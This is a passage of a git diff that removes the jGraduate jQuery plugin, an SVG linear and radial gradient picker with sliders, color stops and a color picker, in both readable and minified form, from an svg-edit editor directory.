-							'<img id="' + id + '_jGraduate_RadiusArrows" class="jGraduate_RadiusArrows" src="' + $settings.images.clientPath + 'rangearrows2.gif">' +
-						'</div>' +
-						'<label><input type="text" id="' + id + '_jGraduate_RadiusInput" size="3" value="100"/>%</label>' + 
-    	    	    '</div>' +
-        	   		'<div class="jGraduate_Slider jGraduate_EllipField jGraduate_rg_field">' +
-						'<label class="prelabel">Ellip:</label>' +
-						'<div id="' + id + '_jGraduate_Ellip" class="jGraduate_SliderBar jGraduate_Ellip" title="Click to set Ellip">' +
-							'<img id="' + id + '_jGraduate_EllipArrows" class="jGraduate_EllipArrows" src="' + $settings.images.clientPath + 'rangearrows2.gif">' +
-						'</div>' +
-						'<label><input type="text" id="' + id + '_jGraduate_EllipInput" size="3" value="0"/>%</label>' + 
-    	    	    '</div>' +
-        	   		'<div class="jGraduate_Slider jGraduate_AngleField jGraduate_rg_field">' +
-						'<label class="prelabel">Angle:</label>' +
-						'<div id="' + id + '_jGraduate_Angle" class="jGraduate_SliderBar jGraduate_Angle" title="Click to set Angle">' +
-							'<img id="' + id + '_jGraduate_AngleArrows" class="jGraduate_AngleArrows" src="' + $settings.images.clientPath + 'rangearrows2.gif">' +
-						'</div>' +
-						'<label><input type="text" id="' + id + '_jGraduate_AngleInput" size="3" value="0"/>deg</label>' + 
-    	    	    '</div>' +
-        	   		'<div class="jGraduate_Slider jGraduate_OpacField">' +
-						'<label class="prelabel">Opac:</label>' +
-						'<div id="' + id + '_jGraduate_Opac" class="jGraduate_SliderBar jGraduate_Opac" title="Click to set Opac">' +
-							'<img id="' + id + '_jGraduate_OpacArrows" class="jGraduate_OpacArrows" src="' + $settings.images.clientPath + 'rangearrows2.gif">' +
-						'</div>' +
-						'<label><input type="text" id="' + id + '_jGraduate_OpacInput" size="3" value="100"/>%</label>' + 
-    	    	    '</div>' +
-    	       	'</div>' +
-        	    '<div class="jGraduate_OkCancel">' +
-            		'<input type="button" id="' + id + '_jGraduate_Ok" class="jGraduate_Ok" value="OK"/>' +
-            		'<input type="button" id="' + id + '_jGraduate_Cancel" class="jGraduate_Cancel" value="Cancel"/>' +
-            	'</div>');
-            	
-			// --------------
-            // Set up all the SVG elements (the gradient, stops and rectangle)
-            var MAX = 256, MARGINX = 0, MARGINY = 0, STOP_RADIUS = 15/2,
-            	SIZEX = MAX - 2*MARGINX, SIZEY = MAX - 2*MARGINY;
-            	
-            var curType, curGradient, previewRect;	
-            
-			var attr_input = {};
-            
-            var SLIDERW = 145;
-            $('.jGraduate_SliderBar').width(SLIDERW);
-			
-			var container = $('#' + id+'_jGraduate_GradContainer')[0];
-			
-			var svg = mkElem('svg', {
-				id: id + '_jgraduate_svg',
-				width: MAX,
-				height: MAX,
-				xmlns: ns.svg
-			}, container);
-			
-			// if we are sent a gradient, import it 
-			
-			curType = curType || $this.paint.type;
-			
-			var grad = curGradient = $this.paint[curType];
-			
-			var gradalpha = $this.paint.alpha;
-			
-			var isSolid = curType === 'solidColor';
-			
-			// Make any missing gradients
-			switch ( curType ) {
-				case "solidColor":
-					// fall through
-				case "linearGradient":
-					if(!isSolid) {
-						curGradient.id = id+'_lg_jgraduate_grad';
-						grad = curGradient = svg.appendChild(curGradient);//.cloneNode(true));
-					}
-					mkElem('radialGradient', {
-						id: id + '_rg_jgraduate_grad'
-					}, svg);
-					if(curType === "linearGradient") break;
-				case "radialGradient":
-					if(!isSolid) {
-						curGradient.id = id+'_rg_jgraduate_grad';
-						grad = curGradient = svg.appendChild(curGradient);//.cloneNode(true));
-					}
-					mkElem('linearGradient', {
-						id: id + '_lg_jgraduate_grad'
-					}, svg);
-			}
-			
-			if(isSolid) {
-				grad = curGradient = $('#' + id + '_lg_jgraduate_grad')[0];
-				var color = $this.paint[curType];
-				mkStop(0, '#' + color, 1);
-				
-				var type = typeof $settings.newstop;
-				
-				if(type === 'string') {
-					switch ( $settings.newstop ) {
-						case 'same':
-							mkStop(1, '#' + color, 1);				
-							break;
-
-						case 'inverse':
-							// Invert current color for second stop
-							var inverted = '';
-							
-							for(var i = 0; i < 6; i += 2) {
-								var ch = color.substr(i, 2);
-								var inv = (255 - parseInt(color.substr(i, 2), 16)).toString(16);
-								if(inv.length < 2) inv = 0 + inv;
-								inverted += inv;
-							}
-							mkStop(1, '#' + inverted, 1);
-							break;
-						
-						case 'white':
-							mkStop(1, '#ffffff', 1);
-							break;
-	
-						case 'black':
-							mkStop(1, '#000000', 1);
-							break;
-					}
-				} else if(type === 'object'){
-					var opac = ('opac' in $settings.newstop) ? $settings.newstop.opac : 1;
-					mkStop(1, ($settings.newstop.color || '#' + color), opac);
-				}
-			}
-
-			
-			var x1 = parseFloat(grad.getAttribute('x1')||0.0),
-				y1 = parseFloat(grad.getAttribute('y1')||0.0),
-				x2 = parseFloat(grad.getAttribute('x2')||1.0),
-				y2 = parseFloat(grad.getAttribute('y2')||0.0);
-				
-			var cx = parseFloat(grad.getAttribute('cx')||0.5),
-				cy = parseFloat(grad.getAttribute('cy')||0.5),
-				fx = parseFloat(grad.getAttribute('fx')|| cx),
-				fy = parseFloat(grad.getAttribute('fy')|| cy);
-
-			
-			var previewRect = mkElem('rect', {
-				id: id + '_jgraduate_rect',
-				x: MARGINX,
-				y: MARGINY,
-				width: SIZEX,
-				height: SIZEY,
-				fill: 'url(#'+id+'_jgraduate_grad)',
-				'fill-opacity': gradalpha/100
-			}, svg);
-			
-			// stop visuals created here
-			var beginCoord = $('<div/>').attr({
-				'class': 'grad_coord jGraduate_lg_field',
-				title: 'Begin Stop'
-			}).text(1).css({
-				top: y1 * MAX,
-				left: x1 * MAX
-			}).data('coord', 'start').appendTo(container);
-			
-			var endCoord = beginCoord.clone().text(2).css({
-				top: y2 * MAX,
-				left: x2 * MAX
-			}).attr('title', 'End stop').data('coord', 'end').appendTo(container);
-		
-			var centerCoord = $('<div/>').attr({
-				'class': 'grad_coord jGraduate_rg_field',
-				title: 'Center stop'
-			}).text('C').css({
-				top: cy * MAX,
-				left: cx * MAX
-			}).data('coord', 'center').appendTo(container);
-			
-			var focusCoord = centerCoord.clone().text('F').css({
-				top: fy * MAX,
-				left: fx * MAX,
-				display: 'none'
-			}).attr('title', 'Focus point').data('coord', 'focus').appendTo(container);
-			
-			focusCoord[0].id = id + '_jGraduate_focusCoord';
-			
-			var coords = $(idref + ' .grad_coord');
-			
-// 			$(container).hover(function() {
-// 				coords.animate({
-// 					opacity: 1
-// 				}, 500);
-// 			}, function() {
-// 				coords.animate({
-// 					opacity: .2
-// 				}, 500);				
-// 			});
-			
-			$.each(['x1', 'y1', 'x2', 'y2', 'cx', 'cy', 'fx', 'fy'], function(i, attr) {
-				var attrval = curGradient.getAttribute(attr);
-				
-				var isRadial = isNaN(attr[1]);
-				
-				if(!attrval) {
-					// Set defaults
-					if(isRadial) {
-						// For radial points
-						attrval = "0.5";
-					} else {
-						// Only x2 is 1
-						attrval = attr === 'x2' ? "1.0" : "0.0";
-					}
-				}
-
-				attr_input[attr] = $('#'+id+'_jGraduate_' + attr)
-					.val(attrval)
-					.change(function() {
-						// TODO: Support values < 0 and > 1 (zoomable preview?)
-						if (isNaN(parseFloat(this.value)) || this.value < 0) {
-							this.value = 0.0; 
-						} else if(this.value > 1) {
-							this.value = 1.0;
-						}
-						
-						if(!(attr[0] === 'f' && !showFocus)) {
-							if(isRadial && curType === 'radialGradient' || !isRadial && curType === 'linearGradient') {
-								curGradient.setAttribute(attr, this.value);
-							}
-						}
-						
-						if(isRadial) {
-							var $elem = attr[0] === "c" ? centerCoord : focusCoord;
-						} else {
-							var $elem = attr[1] === "1" ? beginCoord : endCoord;						
-						}
-						
-						var cssName = attr.indexOf('x') >= 0 ? 'left' : 'top';
-						
-						$elem.css(cssName, this.value * MAX);
-				}).change();
-			});
-
-
-			
-			function mkStop(n, color, opac, sel, stop_elem) {
-				var stop = stop_elem || mkElem('stop',{'stop-color':color,'stop-opacity':opac,offset:n}, curGradient);
-				if(stop_elem) {
-					color = stop_elem.getAttribute('stop-color');
-					opac = stop_elem.getAttribute('stop-opacity');
-					n = stop_elem.getAttribute('offset');
-				} else {
-					curGradient.appendChild(stop);
-				}
-				if(opac === null) opac = 1;
-				
-				var picker_d = 'M-6.2,0.9c3.6-4,6.7-4.3,6.7-12.4c-0.2,7.9,3.1,8.8,6.5,12.4c3.5,3.8,2.9,9.6,0,12.3c-3.1,2.8-10.4,2.7-13.2,0C-9.6,9.9-9.4,4.4-6.2,0.9z';
-				
-				var pathbg = mkElem('path',{
-					d: picker_d,
-					fill: 'url(#jGraduate_trans)',
-					transform: 'translate(' + (10 + n * MAX) + ', 26)'
-				}, stopGroup);
-				
-				var path = mkElem('path',{
-					d: picker_d,
-					fill: color,
-					'fill-opacity': opac,
-					transform: 'translate(' + (10 + n * MAX) + ', 26)',
-					stroke: '#000',
-					'stroke-width': 1.5
-				}, stopGroup);
-
-				$(path).mousedown(function(e) {
-					selectStop(this);
-					drag = cur_stop;
-					$win.mousemove(dragColor).mouseup(remDrags);
-					stop_offset = stopMakerDiv.offset();
-					e.preventDefault();
-					return false;
-				}).data('stop', stop).data('bg', pathbg).dblclick(function() {
-					$('div.jGraduate_LightBox').show();			
-					var colorhandle = this;
-					var stopOpacity = +stop.getAttribute('stop-opacity') || 1;
-					var stopColor = stop.getAttribute('stop-color') || 1;
-					var thisAlpha = (parseFloat(stopOpacity)*255).toString(16);
-					while (thisAlpha.length < 2) { thisAlpha = "0" + thisAlpha; }
-					color = stopColor.substr(1) + thisAlpha;
-					$('#'+id+'_jGraduate_stopPicker').css({'left': 100, 'bottom': 15}).jPicker({
-							window: { title: "Pick the start color and opacity for the gradient" },
-							images: { clientPath: $settings.images.clientPath },
-							color: { active: color, alphaSupport: true }
-						}, function(color, arg2){
-							stopColor = color.val('hex') ? ('#'+color.val('hex')) : "none";
-							stopOpacity = color.val('a') !== null ? color.val('a')/256 : 1;
-							colorhandle.setAttribute('fill', stopColor);
-							colorhandle.setAttribute('fill-opacity', stopOpacity);
-							stop.setAttribute('stop-color', stopColor);
-							stop.setAttribute('stop-opacity', stopOpacity);
-							$('div.jGraduate_LightBox').hide();
-							$('#'+id+'_jGraduate_stopPicker').hide();
-						}, null, function() {
-							$('div.jGraduate_LightBox').hide();
-							$('#'+id+'_jGraduate_stopPicker').hide();
-						});
-				});
-				
-				$(curGradient).find('stop').each(function() {
-					var cur_s = $(this);
-					if(+this.getAttribute('offset') > n) {
-						if(!color) {
-							var newcolor = this.getAttribute('stop-color');
-							var newopac = this.getAttribute('stop-opacity');
-							stop.setAttribute('stop-color', newcolor);
-							path.setAttribute('fill', newcolor);
-							stop.setAttribute('stop-opacity', newopac === null ? 1 : newopac);
-							path.setAttribute('fill-opacity', newopac === null ? 1 : newopac);
-						}
-						cur_s.before(stop);
-						return false;
-					}
-				});
-				if(sel) selectStop(path);
-				return stop;
-			}
-			
-			function remStop() {
-				delStop.setAttribute('display', 'none');
-				var path = $(cur_stop);
-				var stop = path.data('stop');
-				var bg = path.data('bg');
-				$([cur_stop, stop, bg]).remove();
-			}
-			
-				
-			var stops, stopGroup;
-			
-			var stopMakerDiv = $('#' + id + '_jGraduate_StopSlider');
-
-			var cur_stop, stopGroup, stopMakerSVG, drag;
-			
-			var delStop = mkElem('path',{
-				d:'m9.75,-6l-19.5,19.5m0,-19.5l19.5,19.5',
-				fill:'none',
-				stroke:'#D00',
-				'stroke-width':5,
-				display:'none'
-			}, stopMakerSVG);
-
-			
-			function selectStop(item) {
-				if(cur_stop) cur_stop.setAttribute('stroke', '#000');
-				item.setAttribute('stroke', 'blue');
-				cur_stop = item;
-				cur_stop.parentNode.appendChild(cur_stop);
-			// 	stops = $('stop');
-			// 	opac_select.val(cur_stop.attr('fill-opacity') || 1);
-			// 	root.append(delStop);
-			}
-			
-			var stop_offset;
-			
-			function remDrags() {
-				$win.unbind('mousemove', dragColor);
-				if(delStop.getAttribute('display') !== 'none') {
-					remStop();
-				}
-				drag = null;
-			}
-			
-			var scale_x = 1, scale_y = 1, angle = 0;
-			var c_x = cx;
-			var c_y = cy;
-			
-			function xform() {
-				var rot = angle?'rotate(' + angle + ',' + c_x + ',' + c_y + ') ':'';
-				if(scale_x === 1 && scale_y === 1) {
-					curGradient.removeAttribute('gradientTransform');
-// 					$('#ang').addClass('dis');
-				} else {
-					var x = -c_x * (scale_x-1);
-					var y = -c_y * (scale_y-1);
-					curGradient.setAttribute('gradientTransform', rot + 'translate(' + x + ',' + y + ') scale(' + scale_x + ',' + scale_y + ')');
-// 					$('#ang').removeClass('dis');
-				}
-			}
-			
-			function dragColor(evt) {
-
-				var x = evt.pageX - stop_offset.left;
-				var y = evt.pageY - stop_offset.top;
-				x = x < 10 ? 10 : x > MAX + 10 ? MAX + 10: x;
-
-				var xf_str = 'translate(' + x + ', 26)';
-					if(y < -60 || y > 130) {
-						delStop.setAttribute('display', 'block');
-						delStop.setAttribute('transform', xf_str);
-					} else {
-						delStop.setAttribute('display', 'none');
-					}
-				
-				drag.setAttribute('transform', xf_str);
-				$.data(drag, 'bg').setAttribute('transform', xf_str);
-				var stop = $.data(drag, 'stop');
-				var s_x = (x - 10) / MAX;
-				
-				stop.setAttribute('offset', s_x);
-				var last = 0;
-				
-				$(curGradient).find('stop').each(function(i) {
-					var cur = this.getAttribute('offset');
-					var t = $(this);
-					if(cur < last) {
-						t.prev().before(t);
-						stops = $(curGradient).find('stop');
-					}
-					last = cur;
-				});
-				
-			}
-			
-			stopMakerSVG = mkElem('svg', {
-				width: '100%',
-				height: 45
-			}, stopMakerDiv[0]);
-			
-			var trans_pattern = mkElem('pattern', {
-				width: 16,
-				height: 16,
-				patternUnits: 'userSpaceOnUse',
-				id: 'jGraduate_trans'
-			}, stopMakerSVG);
-			
-			var trans_img = mkElem('image', {
-				width: 16,
-				height: 16
-			}, trans_pattern);
-			
-			var bg_image = $settings.images.clientPath + 'map-opacity.png';
-
-			trans_img.setAttributeNS(ns.xlink, 'xlink:href', bg_image);
-			
-			$(stopMakerSVG).click(function(evt) {
-				stop_offset = stopMakerDiv.offset();
-				var target = evt.target;
-				if(target.tagName === 'path') return;
-				var x = evt.pageX - stop_offset.left - 8;
-				x = x < 10 ? 10 : x > MAX + 10 ? MAX + 10: x;
-				mkStop(x / MAX, 0, 0, true);
-				evt.stopPropagation();
-			});
-			
-			$(stopMakerSVG).mouseover(function() {
-				stopMakerSVG.appendChild(delStop);
-			});
-			
-			stopGroup = mkElem('g', {}, stopMakerSVG);
-			
-			mkElem('line', {
-				x1: 10,
-				y1: 15,
-				x2: MAX + 10,
-				y2: 15,
-				'stroke-width': 2,
-				stroke: '#000'
-			}, stopMakerSVG);
-			
-			
-			var spreadMethodOpt = gradPicker.find('.jGraduate_spreadMethod').change(function() {
-				curGradient.setAttribute('spreadMethod', $(this).val());
-			});
-			
-		
-			// handle dragging the stop around the swatch
-			var draggingCoord = null;
-			
-			var onCoordDrag = function(evt) {
-				var x = evt.pageX - offset.left;
-				var y = evt.pageY - offset.top;
-
-				// clamp stop to the swatch
-				x = x < 0 ? 0 : x > MAX ? MAX : x;
-				y = y < 0 ? 0 : y > MAX ? MAX : y;
-				
-				draggingCoord.css('left', x).css('top', y);
-
-				// calculate stop offset            		
-				var fracx = x / SIZEX;
-				var fracy = y / SIZEY;
-				
-				var type = draggingCoord.data('coord');
-				var grad = curGradient;
-				
-				switch ( type ) {
-					case 'start':
-						attr_input.x1.val(fracx);
-						attr_input.y1.val(fracy);
-						grad.setAttribute('x1', fracx);
-						grad.setAttribute('y1', fracy);
-						break;
-					case 'end':
-						attr_input.x2.val(fracx);
-						attr_input.y2.val(fracy);
-						grad.setAttribute('x2', fracx);
-						grad.setAttribute('y2', fracy);
-						break;
-					case 'center':
-						attr_input.cx.val(fracx);
-						attr_input.cy.val(fracy);
-						grad.setAttribute('cx', fracx);
-						grad.setAttribute('cy', fracy);
-						c_x = fracx;
-						c_y = fracy;
-						xform();
-						break;
-					case 'focus':
-						attr_input.fx.val(fracx);
-						attr_input.fy.val(fracy);
-						grad.setAttribute('fx', fracx);
-						grad.setAttribute('fy', fracy);
-						xform();
-				}
-				
-				evt.preventDefault();
-			}
-			
-			var onCoordUp = function() {
-				draggingCoord = null;
-				$win.unbind('mousemove', onCoordDrag).unbind('mouseup', onCoordUp);
-			}
-			
-			// Linear gradient
-// 			(function() {
-
-			
-			stops = curGradient.getElementsByTagNameNS(ns.svg, 'stop');
-
-			// if there are not at least two stops, then 
-			if (numstops < 2) {
-				while (numstops < 2) {
-					curGradient.appendChild( document.createElementNS(ns.svg, 'stop') );
-					++numstops;
-				}
-				stops = curGradient.getElementsByTagNameNS(ns.svg, 'stop');
-			}
-			
-			var numstops = stops.length;				
-			for(var i = 0; i < numstops; i++) {
-				mkStop(0, 0, 0, 0, stops[i]);
-			}
-			
-			spreadMethodOpt.val(curGradient.getAttribute('spreadMethod') || 'pad');
-
-			var offset;
-			
-			// No match, so show focus point
-			var showFocus = false; 
-			
-			previewRect.setAttribute('fill-opacity', gradalpha/100);
-
-			
-			$('#' + id + ' div.grad_coord').mousedown(function(evt) {
-				evt.preventDefault();
-				draggingCoord = $(this);
-				var s_pos = draggingCoord.offset();
-				offset = draggingCoord.parent().offset();
-				$win.mousemove(onCoordDrag).mouseup(onCoordUp);
-			});
-			
-			// bind GUI elements
-			$('#'+id+'_jGraduate_Ok').bind('click', function() {
-				$this.paint.type = curType;
-				$this.paint[curType] = curGradient.cloneNode(true);;
-				$this.paint.solidColor = null;
-				okClicked();
-			});
-			$('#'+id+'_jGraduate_Cancel').bind('click', function(paint) {
-				cancelClicked();
-			});
-
-			if(curType === 'radialGradient') {
-				if(showFocus) {
-					focusCoord.show();				
-				} else {
-					focusCoord.hide();
-					attr_input.fx.val("");
-					attr_input.fy.val("");
-				}
-			}
-
-			$("#" + id + "_jGraduate_match_ctr")[0].checked = !showFocus;
-			
-			var lastfx, lastfy;
-			
-			$("#" + id + "_jGraduate_match_ctr").change(function() {
-				showFocus = !this.checked;
-				focusCoord.toggle(showFocus);
-				attr_input.fx.val('');
-				attr_input.fy.val('');
-				var grad = curGradient;
-				if(!showFocus) {
-					lastfx = grad.getAttribute('fx');
-					lastfy = grad.getAttribute('fy');
-					grad.removeAttribute('fx');
-					grad.removeAttribute('fy');
-				} else {
-					var fx = lastfx || .5;
-					var fy = lastfy || .5;
-					grad.setAttribute('fx', fx);
-					grad.setAttribute('fy', fy);
-					attr_input.fx.val(fx);
-					attr_input.fy.val(fy);
-				}
-			});
-			
-			var stops = curGradient.getElementsByTagNameNS(ns.svg, 'stop');
-			var numstops = stops.length;
-			// if there are not at least two stops, then 
-			if (numstops < 2) {
-				while (numstops < 2) {
-					curGradient.appendChild( document.createElementNS(ns.svg, 'stop') );
-					++numstops;
-				}
-				stops = curGradient.getElementsByTagNameNS(ns.svg, 'stop');
-			}
-			
-			var slider;
-			
-			var setSlider = function(e) {
-				var offset = slider.offset;
-				var div = slider.parent;
-				var x = (e.pageX - offset.left - parseInt(div.css('border-left-width')));
-				if (x > SLIDERW) x = SLIDERW;
-				if (x <= 0) x = 0;
-				var posx = x - 5;
-				x /= SLIDERW;
-				
-				switch ( slider.type ) {
-					case 'radius':
-						x = Math.pow(x * 2, 2.5);
-						if(x > .98 && x < 1.02) x = 1;
-						if (x <= .01) x = .01;
-						curGradient.setAttribute('r', x);
-						break;
-					case 'opacity':
-						$this.paint.alpha = parseInt(x*100);
-						previewRect.setAttribute('fill-opacity', x);
-						break;
-					case 'ellip':
-						scale_x = 1, scale_y = 1;
-						if(x < .5) {
-							x /= .5; // 0.001
-							scale_x = x <= 0 ? .01 : x;
-						} else if(x > .5) {
-							x /= .5; // 2
-							x = 2 - x;
-							scale_y = x <= 0 ? .01 : x;
-						} 
-						xform();
-						x -= 1;
-						if(scale_y === x + 1) {
-							x = Math.abs(x);
-						}
-						break;
-					case 'angle':
-						x = x - .5;
-						angle = x *= 180;
-						xform();
-						x /= 100;
-						break;
-				}
-				slider.elem.css({'margin-left':posx});
-				x = Math.round(x*100);
-				slider.input.val(x);
-			};
-			
-			var ellip_val = 0, angle_val = 0;
-			
-			if(curType === 'radialGradient') {
-				var tlist = curGradient.gradientTransform.baseVal;
-				if(tlist.numberOfItems === 2) {
-					var t = tlist.getItem(0);
-					var s = tlist.getItem(1);
-					if(t.type === 2 && s.type === 3) {
-						var m = s.matrix;
-						if(m.a !== 1) {
-							ellip_val = Math.round(-(1 - m.a) * 100);	
-						} else if(m.d !== 1) {
-							ellip_val = Math.round((1 - m.d) * 100);
-						} 
-					}
-				} else if(tlist.numberOfItems === 3) {
-					// Assume [R][T][S]
-					var r = tlist.getItem(0);
-					var t = tlist.getItem(1);
-					var s = tlist.getItem(2);
-					
-					if(r.type === 4 
-						&& t.type === 2 
-						&& s.type === 3) {
-
-						angle_val = Math.round(r.angle);
-						var m = s.matrix;
-						if(m.a !== 1) {
-							ellip_val = Math.round(-(1 - m.a) * 100);	
-						} else if(m.d !== 1) {
-							ellip_val = Math.round((1 - m.d) * 100);
-						} 
-						
-					}
-				}
-			}
-			
-			var sliders = {
-				radius: {
-					handle: '#' + id + '_jGraduate_RadiusArrows',
-					input: '#' + id + '_jGraduate_RadiusInput',
-					val: (curGradient.getAttribute('r') || .5) * 100
-				},
-				opacity: {
-					handle: '#' + id + '_jGraduate_OpacArrows',
-					input: '#' + id + '_jGraduate_OpacInput',
-					val: $this.paint.alpha || 100
-				},
-				ellip: {
-					handle: '#' + id + '_jGraduate_EllipArrows',
-					input: '#' + id + '_jGraduate_EllipInput',
-					val: ellip_val
-				},
-				angle: {
-					handle: '#' + id + '_jGraduate_AngleArrows',
-					input: '#' + id + '_jGraduate_AngleInput',
-					val: angle_val
-				}
-			}
-			
-			$.each(sliders, function(type, data) {
-				var handle = $(data.handle);
-				handle.mousedown(function(evt) {
-					var parent = handle.parent();
-					slider = {
-						type: type,
-						elem: handle,
-						input: $(data.input),
-						parent: parent,
-						offset: parent.offset()
-					};
-					$win.mousemove(dragSlider).mouseup(stopSlider);
-					evt.preventDefault();
-				});
-				
-				$(data.input).val(data.val).change(function() {
-					var val = +this.value;
-					var xpos = 0;
-					var isRad = curType === 'radialGradient';
-					switch ( type ) {
-						case 'radius':
-							if(isRad) curGradient.setAttribute('r', val / 100);
-							xpos = (Math.pow(val / 100, 1 / 2.5) / 2) * SLIDERW;
-							break;
-						
-						case 'opacity':
-							$this.paint.alpha = val;
-							previewRect.setAttribute('fill-opacity', val / 100);
-							xpos = val * (SLIDERW / 100);
-							break;
-							
-						case 'ellip':
-							scale_x = scale_y = 1;
-							if(val === 0) {
-								xpos = SLIDERW * .5;
-								break;
-							}
-							if(val > 99.5) val = 99.5;
-							if(val > 0) {
-								scale_y = 1 - (val / 100);
-							} else {
-								scale_x = - (val / 100) - 1;
-							}
-
-							xpos = SLIDERW * ((val + 100) / 2) / 100;
-							if(isRad) xform();
-							break;
-						
-						case 'angle':
-							angle = val;
-							xpos = angle / 180;
-							xpos += .5;
-							xpos *= SLIDERW;
-							if(isRad) xform();
-					}
-					if(xpos > SLIDERW) {
-						xpos = SLIDERW;
-					} else if(xpos < 0) {
-						xpos = 0;
-					}
-					handle.css({'margin-left': xpos - 5});
-				}).change();
-			});
-			
-			var dragSlider = function(evt) {
-				setSlider(evt);
-				evt.preventDefault();
-			};
-			
-			var stopSlider = function(evt) {
-				$win.unbind('mousemove', dragSlider).unbind('mouseup', stopSlider);
-				slider = null;
-			};
-			
-			
-			// --------------
-			var thisAlpha = ($this.paint.alpha*255/100).toString(16);
-			while (thisAlpha.length < 2) { thisAlpha = "0" + thisAlpha; }
-			thisAlpha = thisAlpha.split(".")[0];
-			color = $this.paint.solidColor == "none" ? "" : $this.paint.solidColor + thisAlpha;
-			
-			if(!isSolid) {
-				color = stops[0].getAttribute('stop-color');
-			}
-			
-			// This should be done somewhere else, probably
-			$.extend($.fn.jPicker.defaults.window, {
-				alphaSupport: true, effects: {type: 'show',speed: 0}
-			});
-			
-			colPicker.jPicker(
-				{
-					window: { title: $settings.window.pickerTitle },
-					images: { clientPath: $settings.images.clientPath },
-					color: { active: color, alphaSupport: true }
-				},
-				function(color) {
-					$this.paint.type = "solidColor";
-					$this.paint.alpha = color.val('ahex') ? Math.round((color.val('a') / 255) * 100) : 100;
-					$this.paint.solidColor = color.val('hex') ? color.val('hex') : "none";
-					$this.paint.radialGradient = null;
-					okClicked(); 
-				},
-				null,
-				function(){ cancelClicked(); }
-				);
-
-			
-			var tabs = $(idref + ' .jGraduate_tabs li');
-			tabs.click(function() {
-				tabs.removeClass('jGraduate_tab_current');
-				$(this).addClass('jGraduate_tab_current');
-				$(idref + " > div").hide();
-				var type = $(this).attr('data-type');
-				var container = $(idref + ' .jGraduate_gradPick').show();
-				if(type === 'rg' || type === 'lg') {
-					// Show/hide appropriate fields
-					$('.jGraduate_' + type + '_field').show();
-					$('.jGraduate_' + (type === 'lg' ? 'rg' : 'lg') + '_field').hide();
-					
-					$('#' + id + '_jgraduate_rect')[0].setAttribute('fill', 'url(#' + id + '_' + type + '_jgraduate_grad)');
-					
-					// Copy stops
-					
-					curType = type === 'lg' ? 'linearGradient' : 'radialGradient';
-					
-					$('#' + id + '_jGraduate_OpacInput').val($this.paint.alpha).change();
-					
-					var newGrad = $('#' + id + '_' + type + '_jgraduate_grad')[0];
-					
-					if(curGradient !== newGrad) {
-						var cur_stops = $(curGradient).find('stop');	
-						$(newGrad).empty().append(cur_stops);
-						curGradient = newGrad;
-						var sm = spreadMethodOpt.val();
-						curGradient.setAttribute('spreadMethod', sm);
-					}
-					showFocus = type === 'rg' && curGradient.getAttribute('fx') != null && !(cx == fx && cy == fy);
-					$('#' + id + '_jGraduate_focusCoord').toggle(showFocus);
-					if(showFocus) {
-						$('#' + id + '_jGraduate_match_ctr')[0].checked = false;
-					}
-				} else {
-					$(idref + ' .jGraduate_gradPick').hide();
-					$(idref + ' .jGraduate_colPick').show();
-				}
-			});
-			$(idref + " > div").hide();
-			tabs.removeClass('jGraduate_tab_current');
-			var tab;
-			switch ( $this.paint.type ) {
-				case 'linearGradient':
-					tab = $(idref + ' .jGraduate_tab_lingrad');
-					break;
-				case 'radialGradient':
-					tab = $(idref + ' .jGraduate_tab_radgrad');
-					break;
-				default:
-					tab = $(idref + ' .jGraduate_tab_color');
-					break;
-			}
-			$this.show();
-			
-			// jPicker will try to show after a 0ms timeout, so need to fire this after that
-			setTimeout(function() {
-				tab.addClass('jGraduate_tab_current').click();	
-			}, 10);
-		});
-	};
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/jgraduate/jquery.jgraduate.min.js b/public/svg-edit/editor/jgraduate/jquery.jgraduate.min.js
deleted file mode 100644
index 84144eec..00000000
--- a/public/svg-edit/editor/jgraduate/jquery.jgraduate.min.js
+++ /dev/null
@@ -1,37 +0,0 @@
-(function(){function r(i,z,t){i=document.createElementNS(A.svg,i);if(Ba)for(var B in z)i.setAttribute(B,z[B]);else for(B in z){var W=z[B],w=i[B];if(w&&w.constructor==="SVGLength")w.baseVal.value=W;else i.setAttribute(B,W)}t&&t.appendChild(i);return i}var A={svg:"http://www.w3.org/2000/svg",xlink:"http://www.w3.org/1999/xlink"};if(!window.console)window.console=new function(){this.log=function(){};this.dir=function(){}};$.jGraduate={Paint:function(i){i=i||{};this.alpha=isNaN(i.alpha)?100:i.alpha;if(i.copy){this.type=
-i.copy.type;this.alpha=i.copy.alpha;this.radialGradient=this.linearGradient=this.solidColor=null;switch(this.type){case "solidColor":this.solidColor=i.copy.solidColor;break;case "linearGradient":this.linearGradient=i.copy.linearGradient.cloneNode(true);break;case "radialGradient":this.radialGradient=i.copy.radialGradient.cloneNode(true)}}else if(i.linearGradient){this.type="linearGradient";this.radialGradient=this.solidColor=null;this.linearGradient=i.linearGradient.cloneNode(true)}else if(i.radialGradient){this.type=
-"radialGradient";this.linearGradient=this.solidColor=null;this.radialGradient=i.radialGradient.cloneNode(true)}else if(i.solidColor){this.type="solidColor";this.solidColor=i.solidColor}else{this.type="none";this.radialGradient=this.linearGradient=this.solidColor=null}}};jQuery.fn.jGraduateDefaults={paint:new $.jGraduate.Paint,window:{pickerTitle:"Drag markers to pick a paint"},images:{clientPath:"images/"},newstop:"inverse"};var Ba=navigator.userAgent.indexOf("Gecko/")>=0;jQuery.fn.jGraduate=function(i){var z=
-arguments;return this.each(function(){function t(c,a,d,h,f){var l=f||r("stop",{"stop-color":a,"stop-opacity":d,offset:c},g);if(f){a=f.getAttribute("stop-color");d=f.getAttribute("stop-opacity");c=f.getAttribute("offset")}else g.appendChild(l);if(d===null)d=1;f=r("path",{d:"M-6.2,0.9c3.6-4,6.7-4.3,6.7-12.4c-0.2,7.9,3.1,8.8,6.5,12.4c3.5,3.8,2.9,9.6,0,12.3c-3.1,2.8-10.4,2.7-13.2,0C-9.6,9.9-9.4,4.4-6.2,0.9z",fill:"url(#jGraduate_trans)",transform:"translate("+(10+c*j)+", 26)"},fa);var X=r("path",{d:"M-6.2,0.9c3.6-4,6.7-4.3,6.7-12.4c-0.2,7.9,3.1,8.8,6.5,12.4c3.5,3.8,2.9,9.6,0,12.3c-3.1,2.8-10.4,2.7-13.2,0C-9.6,9.9-9.4,4.4-6.2,0.9z",
